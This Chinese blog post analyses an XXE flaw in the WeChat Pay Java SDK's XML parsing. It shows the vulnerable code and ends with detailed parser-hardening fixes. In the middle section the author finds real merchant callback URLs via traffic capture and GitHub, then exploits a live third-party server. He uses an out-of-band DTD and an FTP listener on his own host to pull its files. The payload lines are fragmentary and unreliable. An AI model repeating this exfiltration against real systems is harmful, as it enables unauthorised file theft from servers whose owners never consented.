天天看点

java 安全 支付_微信支付Java SDK XXE漏洞实战浅析

微信支付SDK JAVA版今天曝出了XXE漏洞,主要原因是在使用DOM处理回传的XML格式的支付结果通知时,未禁用外部实体、参数实体、内联DTD等,导致存在XXE漏洞。

0x01 原理分析

作者原文分析提到在看微信支付JAVA SDK的说明文档时,发现了结果通知代码示例:

import com.github.wxpay.sdk.WXPay;

import com.github.wxpay.sdk.WXPayUtil;

import java.util.Map;

public class WXPayExample {

public static void main(String[] args) throws Exception {

String notifyData = "...."; // 支付结果通知的xml格式数据

MyConfig config = new MyConfig();

WXPay wxpay = new WXPay(config);

Map notifyMap = WXPayUtil.xmlToMap(notifyData); // 转换成map

if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {

// 签名正确

// 进行处理。

// 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功

}

else {

// 签名错误,如果数据里没有sign字段,也认为是签名错误

}

}

}

其中notifyData是攻击者可控的,再看微信支付JAVA SDK中的WXPayUtil.xmlToMap()方法,代码片段如下:

public class WXPayUtil {

public static Map xmlToMap(String strXML) throws Exception {

try {

Map data = new HashMap();

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

//未使用setFeature()方法来禁用外部实体、参数实体、内联DTD等。

DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();

InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));

org.w3c.dom.Document doc = documentBuilder.parse(stream);

doc.getDocumentElement().normalize();

NodeList nodeList = doc.getDocumentElement().getChildNodes();

for (int idx = 0; idx < nodeList.getLength(); ++idx) {

Node node = nodeList.item(idx);

if (node.getNodeType() == Node.ELEMENT_NODE) {

org.w3c.dom.Element element = (org.w3c.dom.Element) node;

data.put(element.getNodeName(), element.getTextContent());

}

}

try {

stream.close();

} catch (Exception ex) {

// do nothing

}

return data;

} catch (Exception ex) {

WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);

throw ex;

}

}

外部实体可控,攻击者通过向notify_url提交恶意的实体内容notifyData,支付结果处理server对XML数据进行处理的时候导致了漏洞的产生。

0x02 测试方法及利用

该支付SDK在生成订单的时候,会向api.mch.weixin.qq.com提交notifyurl参数,通过抓包有可能获取notifyurl参数的值。为了测试这个漏洞,使用appscan.io搜索关键字,下了n个app,在支付生成订单的时候,进行抓包,能够看到的请求:

POST /pay/unifiedorder HTTP/1.1

Accept: application/json

Content-type: application/json

Content-Length: 453

Host: api.mch.weixin.qq.com

Connection: close

wx3277506be60ee127750000游戏币购买获得750000游戏币1272031101acff1af62d0f91f4be73f485http://xxxxxx.com/callback4d2bd9e39af0ab27aeb7c16127.0.0.18000APPD0810374A618FF5FA84107

通过这种方法可以获取到notifyurl,装了很多app,最后发现大多都是微信支付php版的sdk。有部分app通过抓包是无法获取到notifyurl的,猜测反编译app之后可能会搜索到代码中配置的notify_url。不过简单反编译了几个,发现居然都加固了,并且都是同样的加固方式:

java 安全 支付_微信支付Java SDK XXE漏洞实战浅析

从中午一直折腾到下午吃饭,还没有找到可以实战测试的线上app,也就放弃了用这种方式。最后只能耐心的翻github了,翻了大概200页github,找到了n多个地址,不过很多估计都是测试的地址,无法访问,能访问的居然也利用不成功。

吃完晚饭,放弃了去健身房撸铁的想法,继续翻github,再快要放弃的时候终于找到一个可以利用的。使用dnslog和俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究给出的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本xxe-ftp-server.rb提供的方式,都复现了:

POST /pay/WeixinNotify HTTP/1.1

HOST: api.xxxx.com

Accept: **

User-Agent: android_6.0_tencent_yingyongbao

Content-Length: 180

Content-Type: application/xml;charset=UTF-8

%aad;

%c;

]>

&rrr;

data.dtd的文件内容如下:

">

%c;

然后在自有服务器111.111.111.111上执行ruby脚本,就可以看到收到的读取的被攻击服务器上的目录和文件内容。如图:

java 安全 支付_微信支付Java SDK XXE漏洞实战浅析
java 安全 支付_微信支付Java SDK XXE漏洞实战浅析

xxe-ftp-server.rb文件的链接如下:

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

0x03 修复建议

在编写处理可能不受信任的来源的XML的软件时,要做到尽可能的安全,必须禁用一些XML功能,主要有:

DTD解释器,确保DOCTYPE标记被忽略或包含它们的文档被拒绝;

外部实体,如果DOCTYPE不能完全禁用,请确保引用的外部实体被拒绝;

schemaLocation,如果解析器包含这个属性,要确保任意文档不会被检索。

XIncludes,此功能应被禁用。

JAVA:

JAVA在使用DOM处理xml的时候,要用setFeature参数来禁用外部实体、参数实体、内联DTD等。示例如下:

//未捕获ParserConfigurationException 异常,仅参考

import javax.xml.parsers.DocumentBuilderFactory;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

//修复方法1:不允许DTDS(DOCTYPE),优先选择的解决方案,几乎可以阻止所有的XML实体攻击

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//修复方法2:

//true表示实现安全的处理XML,会对XML的结构进行限制,避免出现利用XXE进行文件读取的攻击行为

//如果设置为false,表示根据XML的规范处理XML,忽略安全问题

dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);

//其它说明:如果没办法完全不允许DTDS,至少按照如下方法修复

//该feature的作用是配置是否包含参数实体,设置false禁用参数实体

//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-parameter-entities

//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//该feature的功能指是否包含外部生成的实体,设置false禁用外部实体。

//利用外部实体的payload示例:

/*

]>

&xxe;

*/

//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-general-entities

//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-general-entities

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

//该feature的功能指是否包含外部DTD,设置false禁用外部Dtd

//xerces:http://xerces.apache.org/xerces-j/features.html#load-external-dtd

dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);

feature表示解析器的功能,通过设置feature,可以控制XML解析器的行为,如是否对XML文件进行验证等。

PHP:

php的XML解析器,xmlparse和simplexmlload,xmlparse默认不会解析外部实体,simplexmlload需要自行设置,方法如下:

libxml_disable_entity_loader(true);

也可以使用OpenRasp来针对该XXE漏洞进行防护: https://rasp.baidu.com/

0x04 参考文档:

http://seclists.org/fulldisclosure/2018/Jul/3

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

修复建议应该是之前在查资料总结的,针对XXE漏洞的修复方法,可能有不准确的地方。至于微信支付java SDK的这个漏洞,直接使用官方的修复后的版本就可以了。

最后编辑:2018-07-10作者:admin

这个作者貌似有点懒,什么都没有留下。